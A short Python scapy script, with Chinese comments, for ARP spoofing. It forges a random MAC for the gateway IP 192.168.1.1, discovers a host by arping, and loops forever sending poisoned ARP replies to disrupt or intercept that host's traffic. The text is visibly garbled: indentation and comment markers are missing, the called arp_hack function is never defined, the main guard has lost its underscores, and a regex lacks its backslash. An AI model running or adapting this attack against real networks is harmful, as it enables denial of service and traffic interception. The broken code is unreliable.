from scapy.all import ARP,send,arping
import sys,re,random,time
stdout=sys.stdout
ip
IPADDR="192.168.1.102"
网关
gateway_ip="192.168.1.1"
tmp=[]
伪造网关mac地址
for i in range(0,6):
tmp.append(str("%02x"%random.randint(0x01,0xfe)))
gateway_hw=':'.join(tmp)
p=ARP(op = 2,hwsrc = gateway_hw,psrc = gateway_ip)
def get_host():
得到在线主机的mac地址和对应ip地址
hw_ip = {}
sys.stdout = open('host.info','w')
arping(IPADDR)
sys.stdout = stdout
f = open('host.info','r')
info = f.readlines()
f.close
del info[0]
del info[0]
for host in info :
temp = re.split(r's+',host)
hw_ip[0]=temp[1]
hw_ip[1]=temp[2]
return hw_ip
if name == "main":
hw_ip = get_host()
while 1 :
arp_hack(hw=hw_ip[0],ip=hw_ip[1])